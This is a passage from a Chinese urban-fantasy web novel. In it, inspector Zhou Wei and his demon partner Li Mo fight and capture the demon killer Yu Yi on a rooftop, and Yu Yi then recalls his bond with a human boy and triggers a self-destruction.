如今他的噩梦死而复生,回来找他了。 当年他应对那噩梦和恐惧的武器是他的仇恨和怒火,以及由此引发的澎湃杀心……可是如今他连杀心都不能拿出来了,又该怎么面对玉一呢? 他不敢看玉一……是因为害怕看他一眼,就会忍不住扑上去,杀死他,或者杀死自己。 他长大了……可他再也不敢站在玉一面前。面对着那眼前活生生的噩梦,他竟还不如当初那个瘦小孱弱、一无所有的少年。 玉一的眼中掠过了一抹深刻的失望。 真难看啊,他想。 时光把那个曾令他惊鸿一瞥的少年,变成了这样难看的东西。 玉一其实从来没有对自己的被捕后悔或者懊恼过。这么多年来他在人间踽踽独行,杀人也吃人,从不觉生命是一件多么珍稀宝贵的东西。当年他其实并没有多么认真地考虑过被捕或者被杀会不会成为自己的结局,只是那对他来说也不过是寻常。生命总有一天是要终结的,他的命和其他人的命也都没有什么不同,他既然可以轻而易举地取走别人的生命,别人理所当然也可以取走他的。 只是他从没想过,在自己身陷囹圄的那一天,命运会赐予他一场如此猝不及防的馈赠。 那一夜围攻他的监察员有很多,但他却唯独记住了那个奋不顾身挡在他逃离路线上的少年,记住了他那双疯狂而暴烈的眼睛。 那时那少年突兀地出现在那里,像一只误闯进狮子与猛虎搏斗中的幼狼,身边却挟裹着万钧雷霆。那真是从未有人见过的雷暴,少年的身边仿佛由雷电织成了一张蓝紫色的巨网,电光汹涌而狂暴,宛如接天连地的海潮。他手中拿着一条雷光闪烁的古怪鞭子,全身萦绕着灼亮的雷霆电光和滔天怒火,不闪不避地朝他扑来,吓了玉一一跳。他手中长刺前指,不明白区区一个人类少年怎么能暴烈至此,那孩子身上带着血淋淋的恨意和孤注一掷的绝望,与其说是想抓住他,不如说是想把自己狠狠刺穿在他的紫晶双刺上,让他跟自己一起被那漫天雷光撕碎毁灭。 那是玉一第一次认识到,人类的生命也可以有如此璀璨决绝的爆发,那双玉石俱焚的眼睛带给了他如此大的震撼,以至于几乎颠覆了他对于“人类”这个庸俗无趣的种族的认知。 也许也是因为这个原因,从异监局总部逃离之后,他才会忍不住又回到了珑湖……并且去看了周纬一眼。 只是一眼,他就感觉到了无比的失望。 那时应该是十年前,周纬刚刚从灵修学院进修回来,成为了一名正式的监察员……玉一特意去看了他,本意是想看看那个曾经让他印象深刻的孩子如今怎么样了,没想到看到的是周纬穿着监察员的制服走在大街上,和一群同期监察员们一起勾肩搭背,插科打诨,手里还拎着小龙虾和冰啤酒……他们放声欢笑,嬉戏打闹,每个人脸上都毫无阴霾,像是那曾经刻骨铭心的仇恨已经宛然不存。 ……对了,那个时候在他眼里,自己好像确实已经死了。 于是玉一离开了。 他知道那个曾经拥有疯狂而暴烈的眼神的孩子已经死去了,如今承装在那副成年人的皮囊下的,是一个与其他人类一般无二的庸俗灵魂。 只是没想到,时光竟能让他蹉跎至此。当自己死而复生,活生生地再次出现在他面前,他竟然都不再拥有杀他恨他的勇气。 玉一双眼饱含失望。 他做了最后一次尝试,道:“你真的不再来杀我了么?” 周纬双拳紧握,条条青筋从拳头上一路突兀地延伸到小臂,宛如蜿蜒的群蛇,指甲深深地刺进了肉里,直到刺出血来。 他哑声道:“……不。” 玉一用眸光黯淡的眼神注视着他。 “是么……”他轻声道:“那么你就去死吧。” 下一刻,寒光骤起! 玉一的速度简直快到不可思议,身形宛如一道鬼魅般的幽影,眨眼间便逼至近前!与此同时,身后李默猛然攀住周纬肩膀,轻柔向后一带,自己悍然逼上,手中什么东西唰然一闪,迎上了玉一的毒刺! “叮”的一声脆响,玉一毒刺交叉在身前,被李默手中之物近在咫尺地格住。 那居然还一根生锈的钢管,李默不知何时从废弃工业园里捡来的,随手就当做了自己的武器。 两人隔着三柄武器对视,李默冷道:“我来做你的对手。” 玉一:“滚开。” 他骤然撤步后退,与此同时周身妖力骤然释放,身边空间剧烈波动起来,凭空凝结出数十根紫黑短刺,疾风暴雨般朝李默攒射而来! 这一波攻势简直凶猛无匹。那半空中密密麻麻的紫黑毒刺几乎封死了李默闪避的所有空间,密集攒射之势简直宛如加特林!玉一是目前在场的唯一拥有妖力的妖类,他之所以敢和李默这个等级高于他的A级交手也正是出于这份优势,无论双方真实实力如何,妖力永远是妖类厮杀时最大的依仗,失去了妖力的妖类就像是没牙的老虎,不足为惧。 李默整个人被笼罩在了毒刺编织而成的巨网之下,无处可退,他也没打算退——他举起手中的钢管,同样编织了一张天罗地网出来! 钢管挥舞若同疾风!李默整个人像是进入了一种奇异的节奏和韵律中,身体以毫厘之差在毒刺攒射中游走,钢管轻捷地在周身舞动,每一次挥舞都击中一根下落的毒刺,以轻盈但精准的力量击中它们最脆弱的结构,将其从中间击断。这一刻他的出招甚至跟季凌云有些相似,只是季凌云应对玉一的攻击凭借的是千锤百炼的剑招,而李默则全无技巧,完全只凭借A级妖类的身体强度。在他的眼中毒刺穿刺的速度比正常要慢上数倍,如此雨丝划落般在空中留下清晰的轨迹,肉身的力量、速度和反应力足够他以这样的方式破解玉一的攻击。 传说中人类古代的剑术大师能够在雨天舞剑,剑招不断而身上不湿,如今李默居然单凭妖类强横的肉身便能做到。“叮叮”声在他身旁接连不断地响起,每一声轻响都是一柄毒刺被敲断坠落。玉一凝结出的这些紫黑毒刺都是半透明的琉璃质,李默挥舞钢管断璃碎玉,周身玉溅如雨。 打到最后李默的出招甚至变得轻松写意起来,就像是一个书法大家终于习惯了自己的毛笔,于是墨意淋漓肆意酣畅,笔锋却越来越圆融如意。 然而李默却陡然意识到不对! 玉一的目标不是他! 密集的毒刺攒射之下,玉一的身形却早已消失,继而出现在战场的另一侧。 他的目标自始至终都是周纬! 周纬手腕上电光闪烁,灵晔鞭一击挥出,在地上击打出一条清晰的灼痕。然而这一鞭非但说不上具有什么威胁,简直可以说是软弱无力,落点距离玉一的脚步足有半尺,可笑得像小孩子的扑腾一样。 玉一的眼中骤然爆发出怒火:“混账!” 他在一身怒吼中毒刺前指,刹那间就已经逼近周纬面门! 玉黄色的光芒一闪,周山屏障几乎是一触即溃,周纬的身形在千钧一发之际陡然弯折下去!他仰身折腰让过这凌厉一刺,两人一上一下几乎平行,身躯交错之间近在咫尺,周纬右手灵晔鞭哗然上撩,耀眼紫电击向玉一腰腹! 这咫尺之间的凶险交锋常人本该避之不及,然而玉一的身体却像完全违反重力规则似的,在半空中陡然拧转,灵晔差之毫厘地擦着他的身体掠过,他右臂抬起再刺! 这一次躲闪不及的变成了变成了周纬,仓促之间他只得再次释放周山之印,然而玉一这次毒刺却是从侧边抽来,带着沉重的力道击碎周山屏障之后狠狠撞上了周纬的左臂。周纬只觉得自己的左臂骤然传来一阵噼啪骨裂声,整个人都在这暴怒一击中被抽飞了出去,“砰”的一声摔落在楼顶,咕噜噜滚出数米远。 “只是这样而已么!只有这样而已么!”玉一一击得手,眼中却没有兴奋,反而更涌出了无穷无尽的暴怒。 “只是这样的话,那你还活着干什么!”玉一再次突刺,话音还没落下,身形就已经消失在了原地! 周纬甚至连起身的空闲都没有,只能就地翻滚再次躲开玉一的攻击,与此同时青璇之印一闪,一张无形风网出现在玉一突刺的路线上拦截了他一瞬。只是仓促凝结出来的风网也只为他争取到了一秒的喘息时间,下一秒玉一的攻势已到,周纬不得不再次在地上翻滚躲避。 “太难看了!太难看了!”玉一边打边怒吼:“为什么不杀我!为什么不攻击!” 周纬左支右绌,喘息声剧烈宛如破败的风箱,青璇和周山两道符文咒印交替连闪。却也只能看看为他争取几毫秒躲避的时间。他肋间剧痛,脏腑有如撕裂,嘴唇干涸,齿间泛起了若有似无的血腥味。 是啊……太难看了。他一边狼狈躲避,一边心想。 这里是阿洺和筱曼死的地方……他们应该在天上看着自己吧?看到自己这种狼狈不堪的模样,他们会怎么说呢? 大概也不会出乎意料吧……毕竟自己从来都是这么一个扶不起来的烂人。 周纬再次勉强躲过玉一的一道凌厉攻势,掀起的厉风撕破了他肩膀的衣服,他的左肩撞在地上,手臂二次受创,剧痛让他思维麻木。 “只是这样而已么?!只是这样的话,那你还活着干什么!”玉一愤怒的嘶吼海潮一样地回荡在他的脑海里,冲击着他摇摇欲坠的神识。 他闭了闭眼,复又睁开,眼中却依然是一片茫然的迷雾。 他不知道,他没有这个问题的答案。 他答应了李默不会去死,可他也不知道自己活着能干什么。 除了同归于尽的杀意,他再没有能拿出来面对玉一的东西了。 可如今他也不能死,玉一也不能死。 ——那他还在这里做什么?他们这是在这里打什么? 周纬眼前突然一花,李默的身形突然出现在他面前。 他从战圈侧方斜切进来,钢管凌厉一挥打断了玉一的攻势,逼得玉一不得不侧身后退。然而他却并没有紧追上前,而是抛下了玉一,转向了周纬这边。 他飞扑到周纬面前,面色是前所未有的阴沉,甩手扔下了那根钢管,转而轻轻地捧起周纬的左臂。那只胳膊软绵绵地耷拉着,明显最少也是骨裂的伤势,本应该疼得钻心剜骨。然而周纬对李默的触碰毫无反应,眼神木然,像是一具失去了知觉的行尸走肉。 李默的呼吸难以自抑地剧痛起来。 然而他狠狠地闭了闭眼,深深地吸了一口气,却还是放开了周纬。 “周队。”他沉声道。 周纬抬起空洞的眼神望着他。 “如果你想让那个钦原死,就帮我解开灵枷,我会在一分钟内帮你杀了他。”李默清晰地、缓慢地开口,双眸直视着周纬的眼睛,像是要直直地看进他心里去:“只要你要求,我就会这么做。” 周纬浑身轻轻一颤,头好似微微抽搐了一下,像是下意识地想摇头。 然而他这个动作却也做不完全。他像是个接触不良的机器人,体内的某个核心部件已经坏掉了,于是就只能做出一些滑稽可笑的抽搐。 然后他听见李默道:“如果你不愿意解开灵枷,那接下来这场战斗,我不会再插手。” 周纬豁然抬头,眼睛猛地瞪大了,难以置信地望着他。 “你自己上,和他做个了断。”李默简洁道:“你抓住他,我帮你把他押送回市局;你杀了他,我陪你一起受罚;你死了,我就先杀了他,再陪你一起死。” 他低头凝视着周纬:“我说过,我会陪着你的。我不会食言。” 周纬下意识地开口:“我不……” 李默斩钉截铁地打断他:“你可以。” 他一伸手,周纬本能反应地低头,只见李默把什么东西递到了他的眼前。 居然那是那根生锈的钢管。 “十四年前你没有和他一战的能力,但如今你已经有了。”李默清晰地、坚定有力地道:“你是周纬,是珑湖市异监局的监察队长,十四年前你没能亲手逮捕那个妖犯,十四年后只有你有这个能力和资格。这里是陈洺和陈筱曼的陨身之地,他们在天上等着看那个妖犯的结局。周队,你能让他伏法么?你能还陈洺和陈筱曼,还当初的死难者一个公道么?” 周纬双眼血红地盯着他。 李默将那根钢管往前一送:“周队,上么?” 周纬浑身剧烈地颤抖着,他缓缓低下了头,死死盯着那根生锈的钢管,目光中几乎泛出了仇恨, 然而在他面前,那只握住钢管一端的手却一直那么沉稳有力、纹丝不动。李默岿如山岳般矗立在他面前,静默地等待着,等一个答案。 就这样不知等了多久,直等到周纬的身体终于不再颤抖,紧绷的身体缓缓放松下来。 他抬起了头。 他眼中的血色没仍然有消退,却终于能够直视李默的眼睛,周纬深深凝视了他一眼,这一眼是如此之深刻,像是要把李默的轮廓永远地收藏进自己的瞳仁里。 他哑声道:“谢谢。” 他缓缓抬手。 他握住了那根钢管。 李默凝视了他片刻,轻轻颔首,随即侧身让开了前路。 周纬握着那根钢管,迈出两步,却又停住了。 他低头侧首,嘴唇轻动,说了一句什么。夜风轻柔地拂起他的鬓发,吹散了他的声音,那语调无比细微缥缈,然而李默却听见了。 他听到周纬说:“……我不会让你死的。” 李默双肩轻轻一颤,随即双眸骤然亮了起来,含笑点了点头。 周纬随即回头,不再言语,握紧了那根钢管,走到了天台中央。 玉一一直在另一侧等待着他们,没有突然袭击也没有插话,像是在故意给他们俩一个道别的机会。他知道自己是无法同时对付周纬和李默两个人的,所以自从李默插入战圈开始,他就明智地放弃了袭杀周纬的努力。然而此时看来,他们似乎决定不再让李默出手了。 为什么? 那已经懦弱到寂灭的胸膛里,还能再生出勇气来么? 他看到周纬走到天台中央,双脚站定,那根可笑的钢管平举向前,像是举起了一柄长剑:“来吧,钦原,你不是要做个了断么?” 玉一一听就皱起了眉毛:“我说过了,我有名字。” 周纬冷笑一声:“关我屁事。” 他的身形骤然在原地消失! 玉一悚然一惊!以他妖类的眼力倒不至于追不上了周纬的速度,只是周纬此时的速度却已经快到不似人类!他的周身萦绕着一层若隐若现的青色灵力光芒,整个人像是化成了一缕清风,迅捷到几乎脚不沾尘! 青璇之印! 这刚刚还在被他追逐得狼狈逃窜、几无还手之力的人类,此刻竟主动发起了突袭! 玉一一惊之下,身形也立刻虚幻起来。身为鸟类妖兽速度本就是他的长项,只要稍微动作就足以令人眼花缭乱。一人一妖就这样在半空中全力交手,像两颗子弹高速对撞,两个人几乎全都化作虚影,刹那间晶刺钢管已经碰撞了数十次!高速交击之下火花暴跳四溅,每一次交锋都发出令人胆寒的铿锵嗡鸣,天台之山刹那间金铁交击之声不绝于耳,乒乒乓乓有如打铁。 剧烈的撞击声中夹杂着癫狂的笑声,大笑的人居然不是玉一而是周纬。他一开始只是沉默地出招,沉默地攻击,并不言语脸上也没有任何表情。然而和玉一对过几次招之后他的嘴角就开始扭 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而几步开外,玉一手中的紫晶双刺布满裂痕,并且不断地蜿蜒扩大,每一条裂缝中都有蓝紫电光流转。最终那两根琉璃质的毒刺在他手掌缓缓碎裂成片,碎片又变成了齑粉,毒粉如雪花般从他指间簌簌落下。 那根随手取来的生锈钢管居然真的打出了“亢龙锏”一样的效果!从武器的对撞来看,这次的碰撞居然是周纬占了上风。 玉一低头,看着自己空空如也的双手。他面无表情,双目却骤然亮了起来。 他手中再次凝结出两柄长刺,指向周纬:“你回来了。” 他其实想说的是你回来了,这很好,之前你那种行尸走肉的状态真的很可悲,这样的你才有被我杀死的价值……然而这个妖类杀手的语言表达能力委实不及格,他词不达意地只说出了这么一句话就被周纬的笑声打断了。只见周纬右手一震,手上灵晔化珠成鞭,用一阵狂乱的大笑回应了他:“去你妈的!” 玉一:“……” “我他妈跟你很熟吗?说了不要用这种语气跟我说话!”周纬张狂大笑:“你知道我是谁吗?我可是周纬,是珑湖市的监察队长!” 他说到最后,每说出一个字,灵晔鞭就像灵蛇般击出一次,在楼顶天台山打出一个冒着电光和白烟的深坑。灵晔这种神兵灌注了灵力击出之后,每一击都跟个微型炸弹没什么区别,落地就是一场小型爆破,周纬站在原地不动,四周全都是被他打出来的深深的坑洼,转眼间整个天台就变得跟月球表面一样。 他狂乱地挥击着灵晔,身边全都是呼啸而过的破风声,他就在那风声中狂乱大笑,整个天台充斥着他疯狂而淋漓肆意的笑声。 玉一眼神一沉:“你疯了。” 周纬突然恢复了战意,这确实是好事,然而这战意来得似乎有些不正常。周纬整个人都像是陷入了一种癫狂错落的状态中,双目赤红神情狰狞,脸上充满难以自抑的狂笑,掌下挥舞的长鞭却越来越没有章法。 他像是被什么东西逼疯了,沉溺在了肆无忌惮的情绪宣泄中,忘记了这还是在战斗之中。 玉一不再迟疑。他身形再动,在四周不断下坠的落雷中闪转腾挪,身形几乎缥缈成了一缕幻影。雷光电影速度再快,周纬释放灵力却也需要时间,而他的速度足够他抓住千万分之一秒的空隙,突刺而出,一击必杀! 灵晔鞭再强,却也是一把中远程武器,在近距离格斗中几乎无法发挥作用。玉一长于近战,而周纬手中已经没有用于近战格斗的武器了! 再强的人,一旦在战斗中失去理智,等待他的就只有死亡。 因为失控就意味着会露出破绽,而对于玉一这样的顶尖杀手来说,破绽就意味着一击即溃! 不过瞬息之间,他就敏锐地捕捉到了周纬无尽鞭影中的一处空隙——他的左臂受伤了,破绽就在他的左边! 玉一猛然闪到周纬左侧,不过转瞬,欺近身前! 然而就在他逼近周纬左侧的一瞬—— 他突然看到周纬身形一定。 然后,蓦然回首。 两人目光在千万分之一秒间对撞。玉一无比清晰地看到,周纬的神情无比平静,无比冷漠,眼中的血色早已褪去,脸上哪里还有半点失控的影子。 他就用这样平静淡漠的目光,遥遥注视着玉一。 刹那间玉一意识到,这是陷阱! 他知道周纬左臂受伤,左侧必然出现破绽——周纬自己也知道这一点!他故意表现得疯狂混乱,以身为饵,就是要引自己上钩! 玉一在千钧一发之际意识到了这一点,然而已经晚了。 在他四边,四道石墙突然冲天而起,封死了他前后左右全部空间! 土属性,周山之印! 周纬之前使用周山之印,一直都是纯能量的屏障形态,谁也没有想到它居然也能调动实体化的土石之力。玉一的突袭路线被预判,一脚踩入了这个陷阱,刹那间宛如被粘在蛛网上的小虫,四面八方脱困不得。与此同时,石墙上还有无数尖刺突出,眼看着就要对被困中央的玉一来上一轮攒射! 走投无路之下,玉一的妖力骤然爆发! 他的周身再次凝结出数十根短刺,对着石墙激射而出!刹那间土石爆裂飞溅如雨,仓促之下召唤出的土石之墙根本经不起如此激烈的妖力冲击,一触即溃。 然而就在石墙崩溃的同时,青色的灵力旋风又从四面八方骤然翻起,围拢而上! 旋风中夹杂着无数旋转着的凌厉风刃,势要将任何闯入其中的活物绞成碎片。玉一一声低喝,身后骤然现出钦原的真身虚影,双翼一拢将他整个人包裹在内,随后突破风网激射而出! 钦原声唳云霄,张开钢铁双翼,玉一整个人腾空而起,手中长刺前指,呼啸破风! 他接连突破周纬数道封锁,在这个距离上周纬已经躲闪不及,只需瞬息,紫晶长刺就可以将他刺穿! 周纬冷然站在原地,抬头仰视着玉一飞身下扑的身影,目光中像是结着一层寒冰。 他不闪不避,周身电光在压抑蓄势中荧然闪烁。 这一刹那的画面是如此激烈,如此壮阔,简直如同一副油画。高远的夜空下,半空中的巨鸟张开森严双翼,带着一个渺小的人形悍然下扑,花白长发漫漫飘散,手中紫晶尖刺搅起无尽漩涡;而地上的那个人影仰天抬头,身上电光雷霆闪烁,像是披挂着一层蓝紫雷芒铸就的战衣。 一天一地,生死只在刹那。 万钧雷霆,轰然爆发! 这一次,数十倍的雷霆电光横扫整个楼顶天台!气浪掀起滚滚烟尘轰然席卷,狂风与电光刹那间扫荡出近百米,炫然照亮了整片夜空! 连李默都忍不住躬身弯腰,抬起风衣遮挡灼目电光与滚滚气浪,剧烈的灵力和妖力波动与他擦身而过,吹得他的衣袍头发猎猎飘摆,随后冲向渺远无际的苍穹, 整整数十秒过后,方才尘埃落定。 幕落之后,渐渐露出了两个交错的人形。 远远看去,他们两个紧紧相拥,看姿态是如此亲密,宛如一对无间的兄弟。然而血腥味逐渐在天台上弥漫开来,有人已经血染战场。 片刻之后,他们两人终于分了开来,同时跌跌撞撞地后退。周纬遍身染血,双手空空,剧烈地喘息着,身形摇晃几乎要坚持不住,然而最终还是咬牙站直了,他望着对面的玉一。 玉一的两柄长刺都还握在他的手中,他的目光有些失神,怔忪地看了周纬一眼,然后缓缓下移,望向了自己的胸口。 他的胸膛上,插着一柄属于他自己的紫晶毒刺。 最后两人交锋的一刹那,周纬没有等在原地,他一跃而起,宛如乳燕投怀一般冲上了半空,整个人撞进了玉一的怀里,同时拼尽全身的力气,把手中的那柄尖刺深深地捅进了玉一的胸膛。 那柄紫晶尖刺是刚刚玉一为了突破石墙封锁时凝结出来的,被周纬悄无声息地藏在了袖中。当时飞溅的土石和接踵而至的青璇风暴遮蔽了玉一的视线,让他忽略了这柄被周纬悄然藏起的紫晶尖刺。周纬确实佯装狂乱,为玉一设下了一个陷阱,然而陷阱的目的却不是攻击他,而是从他手中骗得这柄尖刺。 他的想法并没有错,周纬确实没有近战武器,他唯一的近战武器是玉一亲手送给他的。 “做得好。”玉一剧烈地喘息起来。 血沫从他的嘴角涌出,他踉跄地后退几步,一直退到了天台边缘,无力地伸手撑着自己,勉强坐了下来,捂住了自己前胸。那柄晶刺应声融化在他的掌心,没有了凶器的封堵,血流狂涌而出。 他低低地咳了几声,抬起头来望着周纬,嘴角竟然浮现出了一丝淡薄的笑意:“十四年前你没能做到的事,现在如愿了,恭喜你。” 十四年前,那个孱弱的少年周纬也是这样,孤勇决绝地挡在玉一的前方,面对他的紫晶毒刺不避一丝一毫。只是当年的他全无阻止玉一的力量,玉一是被当时的监察队长邢海峰亲自镇压抓捕归案的。 而刚刚那一幕几乎是对十四年前场景毫无二致的重现和复刻。交锋的一刹那,同样的记忆同时在他们两人的心头复苏。 只是时过境迁,结局已宛然不同了。 “跟那没有关系。”周纬面色苍白,低头直视着玉一,第三次说道:“我说过了,不要用这种语气跟我说话。” “我是监察员,你是要在逃的妖犯,我们之间的关系仅此而已。”周纬轻声道:“我没有动用灵晔是因为灵晔会杀死你,而你自己的毒对你自己无效。我避开了你的心脏,你会活下来。” “活下来,直到你真正为你的罪行付出代价。”周纬深吸一口气,清晰地说出了那句十四年前他没有机会,也没有资格说出来的话: “妖犯钦原,你被捕了。” 52.归宿 周纬站在玉一面前,神情忽然有些恍惚。 过度使用灵力的反噬开始显现出来。他感到体内传来一阵阵难耐的空虚,灵脉隐隐抽痛,透支的虚弱感开始在四肢百骸翻涌出来,断裂的左臂也传来一阵钻心的剧痛。 然而他所有的感官却都像是蒙上了一层迷雾,被朦朦胧胧地阻隔在外,痛也痛不分明。周纬觉得自己的身体像是钝化了,明明能感觉到痛楚,心里却是麻木的。 就在此时,他感到有人轻轻托起了他的左臂。 李默出现在他身后。他本来想习惯性地去牵起周纬的手,然而周纬左臂受伤,他也不敢轻易移动,只好小心翼翼地托着他的胳膊,轻声问道:“周队,你怎么样?” 周纬转过脸来,抬眸无言地看了他片刻。 他脸色苍白,头发凌乱,身上各处都蹭上了灰土,显得有些狼狈,一张薄唇更是毫无血色,眸光黯淡,显出几分罕见的脆弱。 李默心中立时一颤。 然而还没等他再说什么,周纬就轻轻摇了摇头,转过脸去,垂眸看着玉一。 如果说周纬的样子是狼狈,那玉一的状态就堪称凄惨了。他花白的长发在激战中散开了,凌乱地披了一头一脸,一半沾满了尘土,一半沾满了血迹。胸前的那个血洞还在汩汩流血,已经染红了他的半身,血流在他身下缓缓堆积成一个小小的血泊。 周纬看着他,他也抬头望着周纬,也许是因为失血过多,他那双铁灰色的眼睛显得有些空洞失神。 李默蹲下身,看了看他的状态,微微皱眉:“这样下去不行,他伤得太重,不处理的话恐怕坚持不到回市局。” 他转头询问地看了一眼,见到周纬点头后,他才开始行动起来。 他撕下了玉一的斗篷一角,塞住了他胸前那个狰狞的血洞,然后用剩余的布条给他做了个简单的包扎。妖类的自愈能力很强,一般来说是不需要用这种方式处理伤口的,也不知玉一是怎么了,伤口完全没有愈合收口的趋势,这么长时间了还在流血不止。其实周纬给他造成的伤势本没有那么重,是他自己拔出了封堵伤口的紫晶尖刺,这才导致大量失血。 在李默给他处理伤口的时候玉一始终没什么反应,他一直怔忪地看着周纬,像是破破烂烂的布娃娃似的任李默摆弄。直到最后李默轻轻一勒,给他伤口上的布条打了个结,他才浑身一颤,目光清醒过来。 他看了看周纬,又看了看身旁正给自己处理伤口的李默,突然开口道:“你们……是怎么认识的?” 周纬和李默同时一愣。 还没等他们反应过来,玉一又忽然转向李默:“你为什么要和他在一起?” 李默:“……” 他一时没能反应过来玉一这个问题是什么意思。 “我听到你说……要跟他一起死了。”玉一的语气突然变得有些奇怪,像是一种混杂了怅惘、酸楚和不甘的复杂,对李默道:“你一个妖类,居然说要跟他一起死……他对你就那么好么?他值得么?” 周纬的身体轻轻一颤。 然而他心头此时一团乱麻,还没想好自己敢不敢听接下来的话,就听到李默几乎毫不犹豫地说了一句:“当然。” 周纬豁然看向他。 只见澄静月光之下,李默蹲伏在玉一身边,认真地、理所当然地道:“周队是个很好的人,对我当然也很好。他很值得。” 一阵剧烈地、难以言喻的情绪骤然涌上周纬喉头。刹那间他觉得自己几乎难以呼吸,像是喉咙被什么东西沉重地堵住了。 然而李默话音刚落,就听玉一几乎是不甘示弱地立刻接了一句:“小坤也是个很好的人,对我也很好。他也很值得。” “你是说那个在岚山上救走你的少年?”李默微微皱眉,不赞同道:“我要提醒你一下,目前为止他至少跟两起暴力杀人案有关,手上至少有三条人命。” “那又怎样?”玉一对他怒目而视。 李默:“……” 哦对,忘了这个妖类是个三观扭曲的神经病了。 李默本里想说你觉得他再好也没有用,他注射了那种血清已经是死路一条了……然而他看着玉一此刻凄惨的模样,恻隐之心微微一动,还是没有把这话说出来。 看来这个妖类一无所有,只剩下跟那个人类少年的羁绊在支撑着他了。他被捕之后应该会由季凌云的调查组接手,之后应该很快就会移送总部,也许也不会再有再跟那个少年见面的机会。既然如此,似乎也没有必要把那个少年的真实情况再告诉他。这只钦原虽然是个十恶不赦的妖类,李默却也不忍心戳破他最后的一缕幻想。 然而,也许是他的沉默让玉一误会了什么,他的脸上忽然流露出一抹怒容。 他转头看向李默,第一次在语气中流露出了明显的情绪波动:“我的小坤比你的这个人类要好得多。” 周纬和李默:“……” 这是什么幼稚的攀比心理!小学生吗?! “你们根本不知道小坤有多好。”玉一却像是突然倔强起来,话突然变得又多又密,看上去像是非要让眼前两人低头认输不可:“他第一次杀人就一点都不害怕,特别有天赋,杀完人之后双眼亮晶晶的,会放出特别好看的光来……他很聪明,学什么都很快,所有的武器一教就会,总有些奇妙的杀人创意……对了,他还会看电影,你们知道电影吗?小坤的电脑上有很多很多,他经常跟我说哪部电影里面有一个杀人方法特别有意思,他想试试看……” 他越说越兴奋,黯淡的双眸突然放出光来,连话语中的虚弱感也消失殆尽,整个人简直如同回光返照:“对了!你们知道吗,小坤会很多很多奇妙的东西!他给我买了手机!这样我就算在外面出任务也可以跟他打电话了……他还带我去了一个叫游乐园的地方,那里有种东西叫过山车,小坤说坐过山车的感觉就跟我抱着他飞起来的时候感觉很像,所以他一想我的时候就会过来坐过山车,张开双手大叫……” 然而他兴奋的话音突然一滞,脸上的表情凝固了。 他看到了周纬和李默脸上一言难尽的表情。 李默已经站了起来,回到了周纬身边。他们两人比肩而立,低头望着玉一,脸上是一模一样的无奈和无语。 周纬甚至从刚刚那种失神的状态里脱离出来了,暴躁道:“我们为什么要在这里听这个神经病说这种梦话?” 李默颔首道:“同意” 他们俩并肩站在一起,皎洁清透的月光下,是两个长身玉立的影子。 多么和谐,多么相配。 刹那间玉一意识到,他们两人才是一国的。 他们相互理解,相互信任,携手同行,共托生死。 而他自己,孤身一人,格格不入。 与这世上的任何一个人都不同频。 其实玉一真的很想找人说说冯坤……他快死了,也许临死之前人的话就是会变多,此时此刻他真的很想跟别人分享一下他跟冯坤的故事。 他还有很多很多的话没有说完……他想说冯坤真的很好,对他特别特别好……小的时候冯坤家的卧室永远有一扇窗户一年四季都不关窗,那是冯坤给他留着的,小小的冯坤就这样一晚又一晚地守在那扇窗户前,等他像超人或者孙悟空一样出现在窗外,带着他飞出窗口,去进行一场未知的冒险……他想说第一次他带冯坤体验飞行的时候,冯坤尖叫得简直像一百只鸭子,落地之后他的小脸被风吹得红扑扑的,手脚冻得冰冷,却绕着玉一手舞足蹈,在地上打着滚儿要求他再来一次…… 他想说冯坤带着他逛过很大很大的商场,第一次去的时候里面的路错综复杂得差点把他这个妖类转晕;他想说冯坤总是嫌弃他穿衣品味不好,给他买了好多好多很贵的衣服,看着他在商场里一件一件试衣服时局促的表情他总是笑得特别开心,但那些衣服自己一件都舍不得穿,全都很整齐地藏了起来…… 他想说他跟冯坤一起度过了很多个夜晚,那些夜晚里还有关东煮、麻辣烫、啤酒和炸鸡,他们有的时候会飞出家门,找一篇无人的青草地,吃吃喝喝看电影,对电影里的杀人手法评头论足;有的时候他们干脆就在家里,缩在被窝里电脑开得小小声,不让冯坤的父母察觉。声音开得太小偶尔就会有催眠的作用,看着看着冯坤就会身子一歪睡过去,哈喇子顺着嘴角流到床单上…… 那时候玉一偏头看着身边熟睡的少年,恍然明白了什么叫做“归宿”。 冯坤就是他一生的归宿。 这个世界上,人事散落如尘,有几个人能有这种幸运,在万千微渺尘埃之中,偶遇能与自己同频共振的那一颗呢? 大千世界,唯有你我是一国。 ……而其他人,是不会懂的。 玉一陡然沉默下来。 他突然看向周纬,道:“我叫玉一,这是小坤给我起的名字。” 然后他又转向李默,用无比认真的神色道:“一个人类,要好到这种程度,才值得一个妖类,为他去死。” 他牙齿轻轻一动,咬碎了藏在齿间的什么东西。 灼烫的热流席卷,无与伦比的磅礴妖力爆发开来,最后的时刻,玉一抬眼望向高远的夜空,眼中流露出的是无限的思念和怅然。 ……啊,好想再见小坤一面。 * 那一瞬间的变故来得太快,周纬和李默都没能反应过来。 等到他们察觉的时候已经来不及了,玉一已经把那东西咬碎吞了下去。下一刻,狂暴的妖力骤然爆发!勃然气浪以玉一的身体为中心环形扫荡,凶猛地冲向四方! 两人的脸色骤然大变。 玉一吞下的,竟然是另一只妖类的妖核! 李默二话不说,一把揽过周纬飞身暴退,刹那间已经远掠出数十米。然而周纬这个人被李默挟在臂间,却仍旧朝着玉一的方向伸出了唯一一只能动的右手:“等——等等!” 李默狠狠一咬牙:“不能等!他要——” 周纬却道:“我知道!等等!” 他们俩同时认出了这种狂暴而濒临失控的妖力暴动。 这是自爆的前兆! 难怪玉一敢孤身一人挑战他们俩,其中还包括李默这个等级在他之上的妖类——他早就藏好了另一颗妖核,打算用自爆这种方式,拖着他们一起死! 妖类吞噬其他的妖类的妖核,固然可以增强妖力,但那前提是吞噬的妖核不能超越自身等级,且自己要有余力将这份外来的妖力同化。若玉一吞噬的是C级或者D级的妖核,一两天的时间内,也许确实可以将这份妖力吸收到自身。然而他现在本就是重伤濒死的状态,身体就像一堵已经伤痕累累、濒临破碎的大坝,哪里还能再经得起外来妖力的冲击! 除非他就是想借这份力量,将这道大坝彻底冲毁! 天台一侧,玉一的身体凌空悬浮而起。他身上的外伤迅速愈合,强横的妖力流转过处,断裂的骨头接续复原,撕裂的血肉和内脏组织像是被强力胶强行黏合在了一起。他花白的长发无风自动,那件陈旧破烂的披风被涌动的妖力掀起,衣袍之下,数道紫黑色妖纹正从他的脊椎处迅速生长蔓延,一路攀上腰腹、前胸和双臂,直至在眼下和双颊凝聚出凌厉扭曲的纹路。 巨大的钦原本相再次在他的身后显现出来,张开双翼仰天长啸。玉一猛地睁开双眼,铁灰色的双瞳此刻竟然已经完全变成了紫黑色! 